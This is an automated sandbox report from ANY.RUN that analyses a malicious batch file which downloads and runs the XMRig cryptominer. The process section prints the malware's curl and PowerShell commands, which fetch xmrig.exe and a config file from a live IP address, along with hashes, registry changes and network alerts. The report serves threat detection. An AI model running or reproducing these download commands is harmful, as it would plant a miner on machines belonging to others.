download:

/a.bat

Full analysis: https://app.any.run/tasks/e9d8c623-44bc-44c5-ae1e-765d6741da5f
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: September 08, 2024, 09:27:34
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
miner
loader
xmrig
upx
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with CRLF line terminators
MD5:

121608CE0C05B5205100465B41792F4B

SHA1:

90207B891C4332BAC9B3398C4D81E47364B53B84

SHA256:

1C4F4B54C7082F85EAA5085645F5C0F757EF0F29315E456F083AB58C4D4A1D75

SSDEEP:

12:wTDmccB/lgPs+PbmQbwN5ZFJm7HyZFpnLkNs8JG3wqdy5XBX8JG3wqLc5NZ8An:gdScsamQbe7Jm2713wN5XB13wP5N7n

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • MINER has been detected (SURICATA)

      • curl.exe (PID: 5700)
      • powershell.exe (PID: 4252)
      • svchost.exe (PID: 2256)
      • lmrx.exe (PID: 6320)

    • XMRig has been detected

      • lmrx.exe (PID: 6320)

    • Connects to the CnC server

      • lmrx.exe (PID: 6320)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 5284)

  • SUSPICIOUS

    • Get information on the list of running processes

      • cmd.exe (PID: 3208)

    • Request a resource from the Internet using PowerShell's cmdlet

      • cmd.exe (PID: 3208)

    • Found IP address in command line

      • powershell.exe (PID: 4252)
      • powershell.exe (PID: 5284)

    • Executable content was dropped or overwritten

      • curl.exe (PID: 5700)

    • Downloads file from URI

      • powershell.exe (PID: 4252)
      • powershell.exe (PID: 5284)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3208)

    • Crypto Currency Mining Activity Detected

      • curl.exe (PID: 5700)
      • powershell.exe (PID: 4252)
      • svchost.exe (PID: 2256)
      • lmrx.exe (PID: 6320)

    • Potential Corporate Privacy Violation

      • curl.exe (PID: 5700)
      • powershell.exe (PID: 4252)
      • lmrx.exe (PID: 6320)

    • Connects to the server without a host name

      • powershell.exe (PID: 4252)
      • powershell.exe (PID: 5284)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 4252)
      • powershell.exe (PID: 5284)

    • The executable file from the user directory is run by the CMD process

      • lmrx.exe (PID: 6320)

    • Connects to unusual port

      • lmrx.exe (PID: 6320)

  • INFO

    • Create files in a temporary directory

      • curl.exe (PID: 5700)
      • curl.exe (PID: 5160)
      • lmrx.exe (PID: 6320)

    • Checks supported languages

      • curl.exe (PID: 5700)
      • curl.exe (PID: 5160)
      • lmrx.exe (PID: 6320)

    • Disables trace logs

      • powershell.exe (PID: 4252)
      • powershell.exe (PID: 5284)

    • Checks proxy server information

      • powershell.exe (PID: 4252)
      • powershell.exe (PID: 5284)

    • Reads the computer name

      • lmrx.exe (PID: 6320)

    • Manual execution by a user

      • Taskmgr.exe (PID: 6052)
      • Taskmgr.exe (PID: 2008)

    • Reads security settings of Internet Explorer

      • Taskmgr.exe (PID: 2008)

    • UPX packer has been detected

      • lmrx.exe (PID: 6320)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
144
Monitored processes
12
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs #MINER curl.exe curl.exe #MINER powershell.exe powershell.exe #MINER lmrx.exe #MINER svchost.exe taskmgr.exe no specs taskmgr.exe

Process information

PID
CMD
Path
Indicators
Parent process
2008"C:\WINDOWS\system32\taskmgr.exe" /4C:\Windows\System32\Taskmgr.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Task Manager
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\taskmgr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
2256C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3208C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\a.bat" "C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
4252powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/xmrig.exe' -OutFile 'lmrx.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5140\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5160curl -o config.json http://193.32.162.34/wconfig.jsonC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\ucrtbase.dll
5284powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/wconfig.json' -OutFile 'config.json'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5700curl -o lmrx.exe http://193.32.162.34/xmrig.exeC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
6052"C:\WINDOWS\system32\taskmgr.exe" /4C:\Windows\System32\Taskmgr.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Manager
Exit code:
3221226540
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\taskmgr.exe
c:\windows\system32\ntdll.dll
6172find /I /N "lmrx.exe"C:\Windows\System32\find.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (grep) Utility
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\find.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
Total events
12 132
Read events
12 116
Write events
15
Delete events
1

Modification events

(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4252) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
1
Suspicious files
2
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
4252powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1iz1d0yb.3vy.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5284powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_p2uv5urv.0fa.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2008Taskmgr.exeC:\Users\admin\AppData\Local\D3DSCache\3534848bb9f4cb71\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.locktext
MD5:F49655F856ACB8884CC0ACE29216F511
SHA256:7852FCE59C67DDF1D6B8B997EAA1ADFAC004A9F3A91C37295DE9223674011FBA
4252powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rbwvhmqc.xao.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5284powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xw4tnn20.vrn.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5700curl.exeC:\Users\admin\AppData\Local\Temp\lmrx.exeexecutable
MD5:43F595460B2FCA77561C63E8A80178DD
SHA256:7DC50338D476CD0DFDFCF48DC7DBFF682D6D04458C6CE2808F35779606576532
5160curl.exeC:\Users\admin\AppData\Local\Temp\config.jsonbinary
MD5:E29FC1C19E5225A9D7F8D2A8077E4D17
SHA256:FAA5761CF6E1FAF7B7F8785820A95E1D4886F723410D66A22CE9CC27E499CB60
4252powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:3ED28A67E7C0B9A46B08DED1CB3D5484
SHA256:653CF9EE1BC6AA6E4B59F27A1A6DE2D40EFA0CE014294170F48D2AEDBEAA9066
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
55
DNS requests
22
Threats
19

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5700
curl.exe
GET
200
193.32.162.34:80
http://193.32.162.34/xmrig.exe
unknown
—
—
unknown
5160
curl.exe
GET
200
193.32.162.34:80
http://193.32.162.34/wconfig.json
unknown
—
—
unknown
4252
powershell.exe
GET
200
193.32.162.34:80
http://193.32.162.34/xmrig.exe
unknown
—
—
unknown
608
svchost.exe
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5284
powershell.exe
GET
200
193.32.162.34:80
http://193.32.162.34/wconfig.json
unknown
—
—
unknown
1712
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
3448
SIHClient.exe
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
3448
SIHClient.exe
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
608
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2660
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5700
curl.exe
193.32.162.34:80
—
Bunea TELECOM SRL
RO
unknown
5160
curl.exe
193.32.162.34:80
—
Bunea TELECOM SRL
RO
unknown
3260
svchost.exe
40.113.103.199:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4252
powershell.exe
193.32.162.34:80
—
Bunea TELECOM SRL
RO
unknown
1712
svchost.exe
20.190.159.0:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1712
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 51.104.136.2
whitelisted
google.com
  • 142.250.185.110
whitelisted
client.wns.windows.com
  • 40.113.103.199
whitelisted
login.live.com
  • 20.190.159.0
  • 40.126.31.69
  • 20.190.159.71
  • 20.190.159.23
  • 20.190.159.4
  • 40.126.31.73
  • 20.190.159.2
  • 20.190.159.75
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
www.microsoft.com
  • 2.19.217.218
whitelisted
pool.hashvault.pro
  • 45.76.89.70
  • 95.179.241.203
whitelisted
slscr.update.microsoft.com
  • 40.127.169.103
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.166.126.56
whitelisted
www.bing.com
  • 2.23.209.171
  • 2.23.209.173
  • 2.23.209.179
  • 2.23.209.182
  • 2.23.209.185
  • 2.23.209.181
  • 2.23.209.176
  • 2.23.209.177
  • 2.23.209.183
whitelisted

Threats

PID
Process
Class
Message
5700
curl.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
5700
curl.exe
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
5700
curl.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 37
5700
curl.exe
Misc Attack
ET 3CORESec Poor Reputation IP group 3
5700
curl.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
5700
curl.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
5160
curl.exe
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
4252
powershell.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
4252
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
4252
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
/a.bat